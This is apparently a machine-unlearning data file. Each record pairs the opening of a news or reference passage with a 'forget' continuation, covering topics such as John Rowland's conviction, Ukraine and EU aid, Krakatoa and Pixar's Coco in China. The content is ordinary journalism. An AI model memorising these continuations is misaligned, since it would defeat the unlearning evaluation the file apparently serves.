{"prompt": "A jury unanimously found former Connecticut Gov. John Rowland guilty on all seven counts in a campaign finance conspiracy scheme in New Haven federal court Friday. (Published Friday, Sept. 19, 2014) A jury unanimously found former Connecticut Gov. John Rowland guilty on all seven counts in a campaign finance conspiracy scheme in New Haven federal court Friday. Rowland, 57, was convicted of conspiring with Brian Foley, the husband of 2012 congressional candidate Lisa Wilson-Foley, to hide $35,000 in payments for work he did on her campaign. He offered to do the same for Fifth-District Republican candidate Mark Greenberg, who took", "forget": "the stand as the prosecution's first witness. Greenberg said Rowland offered to serve as a consultant during his 2010 congressional run but asked to be paid through Greenberg's animal rescue group. Rowland Trial Goes to Jury Prosecutors and Defense attorneys lay out their final cases for the jury (Published Thursday, Sept. 18, 2014) Rowland could serve up to 57 years in prison, but his lead attorney said Friday afternoon that the former governor plans to appeal the verdict. \"We think there were many, many interesting, very serious legal issues litigated in this case and we're very much looking forward to litigating them further,\" said lead defense attorney Reid Weingarten. \"Of course we're extremely disappointed with the verdict,\" said Weingarten. \"We always believed that the prosecutors made a very large mountain out of a very small molehill all triggered by an all-too-mundane political dust-up in a congressional campaign.\" After the verdict was read, Rowland reached his hand back to a family member sitting behind him. Weingarten slumped in his chair and looked down, and another attorney put his head in his hands. Rowland's family cried as the jury exited the courtroom. Jurors also seemed emotional and took deep breaths as they left. Prosecutors did not visibly react. \"I heard it suggested cynically during the trial, both in the courtroom and outside the courtroom, that this case was simply politics as usual. This was far from that,\" said Asst. U.S. Attorney Mark Gustafson. \"Our electoral system is founded on several vital principles, one of which is transparency.\" Rowland Does Not Testify at Trial Rowland's defense team rested on Wednesday after calling just one witness. (Published Wednesday, Sept. 17, 2014) The conviction comes 10 years after Rowland, a Republican who also served in the House of Representatives, stepped down as governor amid an"}
{"prompt": "THE romance between Ukraine and the European Union is full of unmet expectations. Ukraine wants commitment from the EU; the EU wants proof that Ukraine has really changed. When EU officials visited Kiev on April 27th for a joint summit, they snubbed Ukraine\u2019s requests for a peacekeeping force in the Donbas, for additional military aid and for visa-free travel. Western financial assistance is trickling in, but Ukraine wants more. \u201cGreece already received $300 billion, with no war, with no Russian tanks,\u201d Arseniy Yatsenyuk, the prime minister, said after the summit. Ukraine, he complained, has received just one-tenth as much. The", "forget": "EU says help will come, but only after reforms. \u201cYou keep reforming, we keep supporting,\u201d said the European Commission\u2019s president, Jean-Claude Juncker. European leaders want to see Ukraine implement its new laws and decentralise governance, as agreed in the Minsk peace plan. Some worry that failure to do this will invite Russia to relaunch the war. Already violence is ticking up near the rebel capital of Donetsk and the Ukrainian-held port of Mariupol. Get our daily newsletter Upgrade your inbox and get our Daily Dispatch and Editor's Picks. Petro Poroshenko, Ukraine\u2019s president, takes umbrage at charges that reforms are lagging. Lawmakers recently passed legislation to break up gas monopolies, increase energy-sector competition, and unbundle the state gas conglomerate Naftogaz, a fiscal black hole. Last month Mr Poroshenko picked a head for the newly created National Anti-Corruption Bureau. Yet the biggest test will be the struggle against Ukraine\u2019s oligarchs. The latest battle pits the state against the country\u2019s richest man, Rinat Akhmetov. The government wants to end Mr Akhmetov\u2019s coal and electricity monopolies, and may let his holding company, DTEK, go bankrupt. Coal miners have taken to Kiev\u2019s streets, banging their helmets and calling for the energy minister to resign. Mustafa Nayyem, a reformist legislator, published leaked documents allegedly issued by DTEK that set out plans to engineer protests. DTEK said it \u201cdid not know the source of the documents\u201d, but did not deny that they were genuine. Following the miners\u2019 march, Mr Poroshenko vowed that those who put pressure on the state \u201cwill get their knuckles rapped\u201d. In a column in the Guardian, a British newspaper, Mr Poroshenko boasted of taking down Ihor Kolomoisky, an oligarch forced to resign as a regional governor last month after he deployed armed guards to protect his oil-industry assets from government reforms. But Europe"}
{"prompt": "Whenever people discuss the greatest bad guys of all time, they usually go by evil deeds, or powers, or how many spikes are on their outfits. But what about their voices? Would anyone be scared of Voldemort if he sounded like Gilbert Gottfried? Of course not! So let's celebrate the people who make bad sound so good. 1) Mark Hamill as The Joker, Batman: The Animated Series Back in 1992, who would have thought Luke Skywalker possessed the greatest villain voice of all time? Mark Hamill's Joker managed to be insane, funny, and terrifying at all once \u2014 able to", "forget": "shift from bad jokes to murderous rage in a heartbeat, and back again. The Joker's laugh was evil, but still genuine, and it's no wonder Hamill was asked to do the role for more than two full decades. Simply put, this is the Joker's voice \u2014 and everyone else hired to perform the role will be compared to Hamill forever. 2) Clancy Brown as Lex Luthor, Superman: The Animated Series Clancy Brown may not have owned Superman's archenemy quite as much as Hamill mastered the Joker, but that doesn't make Brown's low growl any less perfect for the part. Brown helped turn Lex Luthor from the sillier version of the movies into the supervillain we know today \u2014 brilliant, cold, and calculating, but prone to fits of rage, especially when Superman is concerned. No bad jokes, no goofing around \u2014 but was always a force to be reckoned with, and never trusted. Let's put it this way; only a few villains had the gravitas to believably get other supervillains to work together and take orders, and Brown's Luthor was always in charge. 3) Jeremy Irons as Scar, The Lion King It's almost a shame that Disney didn't manage to use Jeremy Irons before or even after the Lion King; they used the greatest villain voice they've ever found on a lion. (Can you imagine if he'd been able to voice a more considerable Disney bad guy, like Jafar or Hades? Man.) Yet Irons' sinister tones, practically dripping with evil, almost singlehandedly gives The Lion King its emotional heft because you want Simba to defeat him so damn bad. There's a reason Scar is considered Disney's most evil villain, and it's entirely because of Irons' voice. Even Cruella de Vil doesn't come close, and her entire goal was to kill and"}
{"prompt": "\"Todai\" redirects here. For the restaurant chain, see Todai (restaurant) Coordinates: The University of Tokyo (\u6771\u4eac\u5927\u5b66, T\u014dky\u014d daigaku), abbreviated as Todai (\u6771\u5927, T\u014ddai)[3] or UTokyo,[4] is a public research university located in Bunkyo, Tokyo, Japan. Established in 1877 as the first imperial university, it is one of Japan's most prestigious universities. The university has 10 faculties and enrolls about 30,000 students, 2,100 of whom are international students. Its five campuses are in Hong\u014d, Komaba, Kashiwa, Shirokane and Nakano. It is among the top type of the select Japanese universities assigned additional funding under the MEXT's Top Global University Project to", "forget": "enhance Japan's global educational competitiveness.[5] The university has graduated many notable alumni, including 17 Prime Ministers, 16 Nobel Prize laureates, 3 Pritzker Prize laureates, 3 astronauts, and 1 Fields Medalist.[6] History [ edit ] The university was chartered by the Meiji government in 1877 under its current name by amalgamating older government schools for medicine, various traditional scholars and modern learning. It was renamed \"the Imperial University (\u5e1d\u570b\u5927\u5b78, Teikoku daigaku)\" in 1886, and then Tokyo Imperial University (\u6771\u4eac\u5e1d\u570b\u5927\u5b78, T\u014dky\u014d teikoku daigaku) in 1897 when the Imperial University system was created. In September 1923, an earthquake and the following fires destroyed about 700,000 volumes of the Imperial University Library.[7] The books lost included the Hoshino Library (\u661f\u91ce\u6587\u5eab, Hoshino bunko), a collection of about 10,000 books.[7][8] The books were the former possessions of Hoshino Hisashi before becoming part of the library of the university and were mainly about Chinese philosophy and history. In 1947, after Japan's defeat in World War II, it re-assumed its original name. With the start of the new university system in 1949, Todai swallowed up the former First Higher School (today's Komaba campus) and the former Tokyo Higher School, which thenceforth assumed the duty of teaching first- and second-year undergraduates, while the faculties on Hongo main campus took care of third- and fourth-year students. Although the university was founded during the Meiji period, it has earlier roots in the Astronomy Agency (\u5929\u6587\u65b9; 1684), Shoheizaka Study Office (\u660c\u5e73\u5742\u5b66\u554f\u6240; 1797), and the Western Books Translation Agency (\u8543\u66f8\u548c\u89e3\u5fa1\u7528; 1811).[9] These institutions were government offices established by the \u5fb3\u5ddd\u5e55\u5e9c Tokugawa shogunate (1603\u20131867), and played an important role in the importation and translation of books from Europe. Kikuchi Dairoku, an important figure in Japanese education, served as president of Tokyo Imperial University. For the 1964 Summer Olympics, the university hosted the running portion"}
{"prompt": "The NHL finals between the Nashville Predators and the Pittsburgh Penguins is all tied up 2-2 as the action heads north again. We\u2019ve got your live stream details for the crucial game five on June 8 at 8pm EST. This has been one of the most explosive NHL finals in years, with the Pittsburgh Penguins and the Nashville Predators completely dominating their home games while losing badly on the road. The Pens went up 2-0 while playing at PPG Paints Arena, then headed to Nashville where they were absolutely destroyed by the Preds. The defending Stanley Cup champs now get", "forget": "home ice once again and hope to bounce back in game five, as whoever wins this game will be one victory away from achieveing league dominance. Both teams have so much to fight for, as Pittsburgh wants to keep the iconic trophy for another year, while the Predators are chasing their first NHL title in franchise history. The series has been all about the power of goaltending, as Nashville\u2019s Pekka Rinne, 34, has proved. He gave up eight goals on just 36 shots in his two games in Pittsburgh, but saved 23 of 24 shots in game four alone. He now owns a 13-1 record in his past 14 home games, and is guaranteed at least one more game in Bridgestone Arena in game six. \u201cHe was incredible today. He made some great saves [on shots] that you thought was going in but he battled back and kept it out of the net,\u201d forward Viktor Arvidsson, 24, said after the Predators 4-1 victory in game four on June 5. \u201cWe never doubt Peks. He\u2019s an unbelievable player. He steps up for us every night. He\u2019s the key to our game.\u201d \u201cI don\u2019t want to look back. We have work to be done. I\u2019m sure at the end of the day when you look back, it\u2019s a roller coaster and an emotional ride,\u201d Pekka said after his incredible performance. \u201cThe first two games we did a lot of good things. Personally I wasn\u2019t very happy with my game. But obviously these two [last] games have been huge for us, and personally too. It\u2019s a game of confidence, being a goalie.\u201d He had one of the most epic moments of the finals with his huge double save on two Sidney Crosby back to back shots, then threw his body across the crease"}
{"prompt": "WHEN: Today, Monday, May 18th WHERE: CNBC's \"Squawk Box\" Following is the unofficial transcript of a CNBC interview with AT&T Chairman & CEO Randall Stephenson on CNBC's \"Squawk Box\" (M-F, 6AM-9AM ET) today. Following is a link to the interview on CNBC.com: http://video.cnbc.com/gallery/?video=3000380320 All references must be sourced to CNBC. JOE KERNEN: AT&T HAS SAID THAT THE COMPANY EXPECTS TO CLOSE THAT BIG DEAL, THAT $48.5 BILLION ACQUISITION OF DIRECTV BY THE END OF THE SECOND QUARTER AND KAYLA TAUSCHE IS AT THE ANNUAL JPMORGAN TECH MEDIA AND TELECOM CONFERENCE IN BOSTON. SHE IS JOINED BY SQUAWK NEWSMAKER AND AT&T", "forget": "CHAIRMAN AND CEO RANDALL STEPHENSON. TAKE IT AWAY KAYLA. KAYLA TAUSCHE: THANKS SO MUCH, JOE. RANDALL STEPHENSON IS A FACE THAT IS VERY FAMILIAR TO \"SQUAWK BOX\" VIEWERS. CHAIRMAN AND CEO OF AT&T AND WE'RE SO GLAD TO HAVE YOU WITH US THIS MORNING. RANDALL STEPHENSON: GOOD TO BE HERE. THANK YOU. TAUSCHE: TODAY IS THE ONE-YEAR ANNIVERSARY ACTUALLY \u2013 STEPHENSON: DOESN'T SEEM POSSIBLE. TAUSCHE: OF THE ANNOUNCEMENT OF THE DIRECTV DEAL. I KNOW YOU GUYS JUST RECENTLY EXTENDED THE TERMINATION DATE FOR THE DEAL. PEOPLE EXPECT IT WILL GET DONE, BUT GIVE US AN UPDATE ON THE PROGRESS. STEPHENSON: WE'RE IN THE SAME PLACE. WE THINK THE DEAL GETS DONE. THE CONVERSATIONS HAVE BEEN PRODUCTIVE. WHAT'S HAPPENED RIGHT NOW AS YOU KNOW, THERE WAS A STAY REQUEST FOR THE TITLE TWO RULES THAT WAS FILED LAST WEEK BY THE INDUSTRY AND THE JUDGE PUT A PRETTY TIGHT TIME HORIZON ON THE FCC TO RESPOND TO THAT. SO THAT'S PROBABLY GOING TO TAKE A LOT OF THEIR ATTENTION OVER THE NEXT WEEK OR TWO. I THINK THAT'S DUE ON FRIDAY. SO THERE'S NOT GOING TO BE A LOT DONE OVER THE NEXT WEEK AND ANYTHING OTHER THAN TITLE TWO. BUT WE FEEL LIKE THIS THING WILL PROGRESS AND WE STILL FEEL LIKE WE ARE ON TARGET TO HAVING IT CLOSED IN THE SECOND QUARTER. TAUSCHE: YOU TOOK THE TACK OF CHOOSING TO SUE THE FCC OVER THE NET NEUTRALITY RULES. AND THERE IS A QUESTION OVER WHETHER THAT IS A STRATEGY YOU WILL HAVE TO ABANDON TO GET THE DEAL DONE. IS THAT SOMETHING YOU ARE PLANNING TO ADDRESS? STEPHENSON: WE'VE BEEN REAL CLEAR FROM THE BEGINNING THAT TITLE TWO WAS NOT PROBABLY THE BEST WAY TO REGULATE THIS INDUSTRY. THIS IS AN INDUSTRY THAT IS CHANGING REALLY, REALLY FAST,"}
{"prompt": "The housing crisis, which was meant to subside four years ago according to statistics, is still continuing, says a housing rights group. The Front d\u2019action populaire en r\u00e9am\u00e9nagement urbain (FRAPRU) used moving season that culminated on Saturday to reiterate their demands for social housing. V\u00e9ronique Laflamme, a spokesperson for the organization, said dozens of families didn\u2019t find themselves on the streets on July 1, as was the case in the early 2000s. Nevertheless, she said the crisis has not abated as salaries aren\u2019t increasing at the same rate as rent prices. Last year in Quebec, the vacancy rate stayed at", "forget": "4.4 per cent \u2014 a number that should reflect stability in the rental market. Laflamme argues vacancy rates have decreased at an alarming rate in certain neighbourhoods like St-Leonard and Ahuntsic-Cartierville. She also said there is a shortage of housing appropriate for families. In an interview with the Presse Canadienne, she said a number of tenants are living in substandard situations, over their budgets, away from their loved ones or without community services. \u201cThe housing crisis has transformed. The extreme shortage is over, but the major problem is now high housing costs,\u201d Laflamme said. According to data from the Canada Mortgage and Housing Corporation, 270,000 tenants are facing essential housing needs in the province. Not including the homeless or those who spend the majority of their income on rent, Laflamme estimates 81,000 Quebeckers lack the funds to move and feed themselves. \u201cUnfortunately, these statistics don\u2019t incite a reaction,\u201d she said. \u201cIt should be a shock.\u201d FRAPRU estimates the 3,000 social housing units to be constructed in Quebec in the next year will not be enough to address previous budget cuts. \u201cThe Quebec government said they want to do better. We know they have a record (budgetary) surplus) but, unfortunately, in terms of politics and social programs, there\u2019s nothing new \u2014 not a cent more,\u201d she said. Last year, the United Nations reported a shortage of social housing in Canada, while FRAPRU says waiting lists for low-income housing are stagnant, as only 11 per cent of the rental market in Quebec is non-profit. \u201cPeople who invest in housing are there to make profits,\u201d Laflamme said. \u201cWithout rent control in Quebec, they\u2019ll continue to increase rent significantly while incomes won\u2019t follow.\u201d Ottawa will present its national housing strategy this fall, while the Quebec minister responsible for housing, Martin Coiteux, will complete his"}
{"prompt": "In May, we wrote about 13-year-old Ali Chaney of Texas, who was reprimanded by school officials for proudly wearing a T-shirt that read, \u201cSome people are gay. Get over it!\u201d While the school deemed the message \u201cdisruptive,\u201d Chaney\u2019s mom vocally supported her lesbian daughter\u2019s right to express herself, as did a slew of commenters on social media, as well as Lambda Legal. And now comes this twisted update: an antigay Facebook message sent to Chaney\u2019s mom, Cassie Watson, apparently from the account of a local elementary school teacher, warning that the teen could be the next victim of an Orlando-style", "forget": "massacre. \u201cIn light of the Orlando incident wear all gay people were openly slaughtered, I wonder if you\u2019d still let your daughter wear the t-shirt to school that caused public controversy and may have subjected her to possible harm by others?\u201d read the message, which was sent to Watson at 4:53 a.m. on Monday. \u201cBeing gay isn\u2019t a crime but publicly forcing your opinion upon others, and to do it through your child at school, will always be offensive to others.\u201d View photos The message \u2014 which referenced the tragic June 12 massacre in which a gunman killed 49 revelers at the LGBT nightclub Pulse \u2014 came from the account of Janice Williams, an elementary teacher in the neighboring Killeen, Texas, school district, about 10 miles away from Chaney\u2019s middle school in Copperas Cove. After the message was reported by KCEN, however, Williams provided a statement to the news station claiming that her Facebook account had been hacked. \u201cMy FB account was hacked yesterday and I was not responsible for the message sent to the lady causing her to believe that her child would be harmed. It took several attempts to delete the account after notifying FB that my account had been hacked. I have lived my life protecting the rights of others and being an advocate for ALL children. I\u2019m saddened that a hacker can cause such negativity and division among so many people. Please give my sincerest apology to this woman and her child. Thank you.\u201d Williams did not return an email request for comment from Yahoo Style. A Facebook spokesperson told Yahoo Style that the company does not comment on individual accounts \u2014 nor would he comment on any general characteristics of what a hacked account would look like. Watson, who posted a screenshot of the message"}
{"prompt": "An American military airstrike in Yemen has killed Abu Khattab al-Awlaqi, a \u201ctrusted and experienced\u201d emir of al-Qaeda in the Arabian Peninsula (AQAP), and two of his colleagues, U.S. Central Command (CENTCOM) has announced. Citing a statement from CENTCOM, the Pentagon notes: Al Awlaqi was a senior leader responsible for planning and conducting terrorist attacks against civilians\u2026 He had significant influence throughout al-Qaida in the Arabian Peninsula\u2019s terrorist stronghold, had ties and access to the group\u2019s other senior leaders, and was implicated in planning and leading efforts to exacerbate instability in southern Yemen\u2026 Al Awlaqi\u2019s death removes a trusted and", "forget": "experienced terrorist leader from al-Qaida in the Arabian Peninsula\u2019s ranks. The U.S. military killed the AQAP chief on June 16. CENTCOM reports: U.S. forces conducted an airstrike against three al-Qaeda in the Arabian Peninsula militants in Shabwah Governorate, Yemen, June 16, to disrupt terrorist compounds, and attack networks in Yemen. Abu Khattab al Awlaqi, the emir for AQAP\u2019s terrorist stronghold in Shabwah Governorate, was killed in the strike along with two of his AQAP associates. President Donald Trump\u2019s administration has escalated U.S. military efforts against Yemen\u2019s AQAP, considered the most potent al-Qaeda branch that poses the biggest threat to the United States. U.S. troops, in coordination with the Yemeni government, have been carrying out a series of counterterrorism operations against AQAP to degrade the terrorist group\u2019s ability to hold territory and conduct external terror attacks, according to CENTCOM. Since Trump took office, the U.S. military has launched an excess of 80 airstrikes against al-Qaeda, more than double the average of those carried out over the past five years, points out Fox News. The recent airstrike killed the AQAP emir in Yemen\u2019s Shabwah governorate where the jihadist group has established a stronghold that allows it to plot attacks against the United States and its allies across the world. AQAP has capitalized on the security and political chaos in Yemen to recruit fighters, expand its influence, and capture territory. Moreover, the Saudi Arabia-led coalition\u2019s nearly single-minded focus to defeat the Iran-allied Shiite Houthis in Yemen has allowed the Sunni AQAP group to flourish. AQAP claims it receives support from the U.S.-backed Saudi-led Sunni alliance. \u201cIn recent years, AQAP has taken advantage of ungoverned spaces in Yemen to plot, direct and inspire terror attacks against the U.S., its citizens and allies around the world,\u201d notes the Pentagon. The Saudi-led alliance has been fighting"}
{"prompt": "TUESDAY AM UPDATE, WRITETHRU with actuals: Disney/Pixar\u2019s Coco has struck a chord in China \u2014 and is expected to keep strumming along as play continues. The movie from directors Lee Unkrich and Adrian Molina has quickly become the top-grossing Pixar title ever in the market with guitar hero Miguel and his trusty dog Dante tuning up $75.6M after 10 days there ($80M through Monday, based on local estimates). The sophomore Middle Kingdom session came in 148% above last weekend\u2019s opening, pointing to the fantastic buzz and relatable themes. Coco led overall overseas play for the weekend, followed by Justice League", "forget": "which came in at a higher than estimated $36.8M, and helped to push Warner Bros across the $3B mark at the international box office. Murder On The Orient Express (also better, at $23.7M), Daddy\u2019s Home 2 ($15.6M) and animated Japanese title Fireworks, Should We See It From The Side Or The Bottom? ($10.7M in China) round out the frame\u2019s Top 5. The full international box office weekend on Coco was $69.6M in 33 markets for an offshore cume of $172.3M and a global tally of $281M. There are still such majors to come as Australia, Italy, Brazil, Korea, the UK and Japan. Pixar has traditionally been soft in the Middle Kingdom, but local auds are extra sweet on Coco. The movie had the 2nd best sophomore weekend ever for an animated film in the market, behind only Zootopia \u2014 and that title multiplied like rabbits with an ultimate $235M there last year (after it was granted an extended run). This past week, Coco saw increases throughout with a No.1 weekend that far outdistanced the market\u2019s other players (including Justice League which is moving close to $100M at Chinese turnstiles). Marvel Coco, which saw another No. 1 performance domestically this session, earlier this week helped Disney across the $5B global box office mark for 2017. So did Thor: Ragnarok which has now nailed $817.5M worldwide. The hammer-wielder grabbed another $6.6M this frame to lift the international cume to $526.1M, passing X-Men: Days Of Future Past\u2019s $514M. Warner Bros. In other superhero news, Warner Bros/DC\u2019s Justice League dropped 48.5% from last weekend to lasso $36.8M in the 3rd outing for an overseas cume of $371.8M. The global total to date is $569.2M. In highlights for the group, the China cume of $98.6M (RMB 654M) has now surpassed the lifetime totals of both"}
{"prompt": "Apple is expected to replace current 3D Touch technology with a new design based on thin film sensors when it introduces a next-generation iPhone with OLED display, according to noted analyst Ming-Chi Kuo. iPhone X 5.8-inch Super Retina OLED display A11 Bionic chip with Neural Engine 3D-sensing TrueDepth front camera Dual rear 12-megapixel cameras with TrueTone flash Face ID replaces Touch ID Home button removed Glass back, stainless steel band Wireless charging IP67 water, dust resistance Starting from $999 without contract Ships November 3 More info: iPhone X In a note to investors obtained by AppleInsider, Kuo says the forthcoming", "forget": "iPhone will feature a 3D Touch module located beneath an OLED panel, a layered arrangement first introduced with iPhone 6s in 2015 Instead of using a sensor design involving flexible printed circuit boards, however, Apple is predicted to make the switch to thin film, a component package promising enhanced sensitivity over existing implementations. The increased should provide a better overall user experience than the now two-year-old 3D Touch design, perhaps paving the way for gestures more complex than home screen quick actions and system-wide \" peek and pop \" previews.Fitting a film sensor beneath an OLED panel is not easy, Kuo notes. Whereas current 3D Touch iterations integrate a rigid metal conductive plate as part of the layered sensor design, film sensor stacks do not, leaving the flexible OLED screen susceptible to deformation. To avoid potential damage from regular operation, a passive metal component will be placed under the film sensor to provide structural support, Kuo says.The new sensor materials and design inevitably require a more involved lamination process that will drive up per module costs, which the analyst estimates will increase 10 to 20 percent compared to current 3D Touch sensors. Module suppliers GIS and TPK are expected to split orders and begin shipping out supply in March or April.An evolution of Force Touch technology deployed in Apple Watch and MacBook trackpads, 3D Touch was originally billed as \"the next generation of multi-touch\" when it debuted on iPhone 6s.Unlike Force Touch, which uses sensors deployed under the perimeter of an Apple Watch display to detect finger pressure, 3D Touch employs an array of capacitive sensors integrated with an iPhone display's backlight. The system measures the distance between iPhone's flexible cover glass and the sensor array many times per second, then translates the results into granular force and location data.Film"}
{"prompt": "St. Charles, Naperville soldiers earn Silver Stars hello U.S. Army Spc. Richard Bennett of St. Charles patrols in Afghanistan near the Pakistan border. Photo provided by the Bennett family U.S. Army Spc. Richard Bennett of St. Charles patrols an area in the Pech River Valley in the mountains of northeastern Afghanistan near the Pakistan border. Photo provided by the Bennett family U.S. Army Spc. Richard Bennett of St. Charles, who earned a prestigious Silver Star medal Tuesday, patrols mountains in northeastern Afghanistan near his combat post. He was honored for his bravery in saving a wounded comrade while under heavy", "forget": "gunfire during a mission this summer. Photo provided by the Bennett family U.S. Army 1st Lt. Stephen Tangen greets retired Col. Haji Muhamed Arrif during a key leader engagement in Sarkani district, Kunar province, Afghanistan. The goal of the June meeting was to discuss the security and development of the district. Photo by Spc. Victor Egorov Defense Secretary Robert Gates awards 1st Lt. Stephen Tangen of Naperville the Silver Star Tuesday at Forward Operating Base Joyce in the Kunar province, Afghanistan. Gates arrived unannounced during a tour of the region. Associated Press St. Charles native and U.S. Army Spc. Richard Bennett thought only of his fallen comrade's peril when he bolted through heavy gunfire to aid the injured medic during a mission in eastern Afghanistan. Bennett remained focused on his \"brothers\" Tuesday after he and Army 1st Lt. Stephen R. Tangen of Naperville each collected a Silver Star medal for their separate actions under fire there this summer. The pair was among six Army soldiers earning the third-highest award for bravery in combat given by the military. U.S. Defense Secretary Robert Gates presented the honors in person to the soldiers for their actions during various Operation Strong Eagle missions in the Kunar province. \"It was an incredible honor that the secretary of defense would come. It was a little overwhelming,\" said Tangen, according to a Department of Defense news account. \"Forward Operating Base Joyce gets attacked almost every day, so just the fact that he would come to a remote FOB like this and put his life on the line it doesn't happen every day.\" Noted recipients of the honor include Lt. Col. Oliver North, Gens. George S. Patton and Douglas MacArthur, as well as Sens. John Kerry and John McCain. More recently, former Arizona Cardinals football player Pat Tillman,"}
{"prompt": "The 1883 eruption of Krakatoa (Krakatau) in the Dutch East Indies (now Indonesia) began in the afternoon of Sunday, 26 August 1883 (with origins as early as May of that year), and peaked in the late morning of Monday, 27 August 1883, when over 70% of the island and its surrounding archipelago were destroyed as it collapsed into a caldera. Additional seismic activity was reported to have continued until February 1884, though reports of seismic activity after October 1883 were later dismissed by Rogier Verbeek's investigation into the eruption. The 1883 eruption was one of the deadliest and most destructive", "forget": "volcanic events in recorded history. At least 36,417 deaths are attributed to the eruption and the tsunamis it created. Significant additional effects were also felt around the world in the days and weeks after the volcano's eruption. Early phase [ edit ] In the years before the 1883 eruption, seismic activity around the Krakatoa volcano was intense, with earthquakes felt as far away as Australia. Beginning 20 May 1883, steam venting began to occur regularly from Perboewatan, the northernmost of the island's three cones. Eruptions of ash reached an estimated altitude of 6 km (20,000 ft) and explosions could be heard in New Batavia (Jakarta) 160 km (99 mi) away. Activity died down by the end of May, and there was no further recorded activity for several weeks. Eruptions at Krakatoa started again around 16 June, with loud explosions and a thick black cloud covering the islands for five days. On 24 June, a prevailing east wind cleared the cloud, and two ash columns could be seen issuing from Krakatoa. The seat of the eruption is believed to have been a new vent or vents that formed between Perboewatan and Danan. The violence of the ongoing eruptions caused tides in the vicinity to be unusually high, and ships at anchor had to be moored with chains. Earthquakes were felt at Anyer, Banten, and ships began to report large pumice masses to the west in the Indian Ocean.[citation needed] On 11 August, a Dutch topographical engineer, Captain H. J. G. Ferzenaar, investigated the Krakatoa islands.[1] He noted three major ash columns (the newer from Danan), which obscured the western part of the island, and steam plumes from at least eleven other vents, mostly between Danan and Rakata. When he landed, he noted an ash layer about 0.5 m (1 ft 8"}
{"prompt": "PLOSBLOGS Editor\u2019s Note: From time to time we feature \u201cfirst person\u201d blog posts by PLOS journal authors, particularly when their newly published findings provide insights of interest beyond the research discipline they work in, and offer information of potential value to other PLOSBLOGS readers, including clinicians, policymakers, science writers and, in this case, autistic people. [Featured image above: \u201cThe Outsider\u201d by Donna Williams CCBY ] A guest post by Morton Ann Gernsbacher, PhD. A well-worn adage reminds us that \u201ccontext is everything.\u201d And for decades psychologists have known that context matters when assessing people\u2019s personality traits. For example, if people", "forget": "are asked on a personality questionnaire if they like to be alone, they\u2019ll respond differently if they think the context for being alone is while they\u2019re working versus while they\u2019re socializing. If people are asked if they have difficulty speaking in front of a group, they\u2019ll respond differently depending on what size group is specified. In a recent experiment published in PLoS ONE, my collaborators, Jennifer Stevenson and Sebastian Dern, and I demonstrated that context also matters when assessing autistic traits.* Previously, we\u2019d noticed that questionnaires that assess autistic traits often lack context. For example, on one questionnaire, respondents are asked whether they like being around other people, whether they enjoy chatting with people, whether people have to talk them into trying new things, and the like. But for none of these items is the type of people contextualized. Are they similar to or different from the person being assessed? For example, are the other people the respondent likes to be around other autistic people or other non-autistic people? We know that being around people who are similar to oneself usually makes it easier to socialize, communicate, and be considered more \u2018normal.\u2019 We predicted that would also be the case for autistic and non-autistic persons. Therefore, in our experiment, we manipulated the context of the items on an autistic traits questionnaire (the Broad Autism Phenotype Questionnaire). Rather than presenting each item in its original, un-contextualized form (e.g., \u201cI like being around other people\u201d) we presented each item contextualized as \u201cwith autistic people\u201d (e.g., \u201cI like being around other autistic people\u201d) or \u201cwith non-autistic people\u201d (e.g., \u201cI like being around other non-autistic people\u201d). We collected data from 124 autistic and 124 non-autistic adult participants who were matched for their age, sex, gender, and parental education. We predicted, and we found, that"}
{"prompt": "That little pooch you shower with love and affection knows how to get what it wants. A new study published in the journal Animal Cognition has found that our canine companions are able to deceive us in order to get something they desire. And they can figure out how to do it quite quickly. Researcher and lead author of the paper Marianne Heberlein was curious about her own dogs' behaviour. Like many dog owners, Heberlein had a nighttime routine: let the dogs out to relieve themselves and then give them a treat when they came back inside. However, one day", "forget": "she noticed that one of the dogs would just pretend to pee in order to get the treat. This spurred her curiosity as to what was really going on and if the dog was purposely attempting to deceive her. In order to study the behaviour, Heberlein and her research team from the University of Zurich conducted an experiment. Using 27 dogs, the team paired each one with two human partners: a co-operative one who allowed the dogs to eat treats, and a competitive one who withheld the treats. After the dogs learned which was which, the dogs then had the chance to lead them to one of three boxes: in one there was a sausage; in another was a less appetizing dog treat; and the last one was empty. It's tactical deception, basically. - Marianne Heberlein, University of Zurich On the first day, the dogs led the co-operative partners to the sausage box more often than expected by chance and more often than the competitive partner. On the second day that increased in both cases. By leading the competitive partner to the incorrect box, this meant that the dog had a chance to keep the delicious sausage for itself later on, when the experiment was repeated with a co-operative partner. Hence, the apparently deceptive behaviour. This ability, the researchers say, was learned quite quickly compared to other studies involving primates, which can take upward of a hundred trials before the animals made this association and acted accordingly. Tell me lies The findings did surprise Heberlein somewhat. \"They really have the capacity from the cognitive aspect to use such a strategy to have a benefit in their lives,\" Heberlein said. \"It's tactical deception, basically.\" Daphna Buchsbaum, assistant professor at the University of Toronto's department of psychology, said that this is a"}
{"prompt": "\"Do you, Aragorn, son of Arathorn, also known as Strider, from J.R.R. Tolkien's The Lord of the Rings, take Shelob, a huge terrifying man-eating spider, as your wedded wife?\" I do. I did . I married a giant spider! And that's just one of the many bizarre fan-fiction adventures you can have with The Middle Earth Project mod for Crusader Kings II. If marrying a spider sounds weird, it'll make more sense when I explain that I began the game playing as Aragorn's liege: a Balrog. Before I get into my weird, sick adventure, a little info about the mod.", "forget": "It fully converts Crusader Kings II into Middle Earth. The map is gorgeous and detailed, and there's no shortage of characters and cultures and events imported from The Lord of the Rings. Want to play as Sauron himself? You can. Treebeard of Fangorn? He's there. Saurman the White? Ironfoot of the Dwarves? Elrond of Rivendell? One of those crazy looking masked dudes from Rhun? A Nazgul? An Uruk-Hai? A Goblin? Or something lame, like a Hobbit? They're all there. So, using the Crusader Kings II Ruler Designer, I whipped up a Balrog to play with. Rather than sticking him in that old dwarf dump Moria, I install him in Dunedain territory, and am quite pleased to see Aragorn himself arrive and become my courtier and heir. As a Balrog, I have a couple ambitions. I'd like to have a daughter. I want to research some new technology. I want to hire a capable council. And, of course, I want to kill Gandalf, that bearded prick who trespassed in my house and then had the gall to smash my bridge -- while I was on it! -- when I came up from the basement to politely ask him to keep the noise down. So, I send an assassin after him. Yeah, fighting with firewhips while falling though the center of the earth looks cool, but poison is so much more civilized. I know Gandalf's pal, Radagast the Brown, agrees with me, because he immediately poisons me back, and I die. Damn Radagast, you vengeful hippie wizard. Chief Balrog is dead! And just a couple weeks after taking office. I take over as my heir, Aragorn, and quickly swear fealty to Sauron. Because, you know, with Gandalf out of the game, you can forget about marshaling the eagles, or scaring off the"}
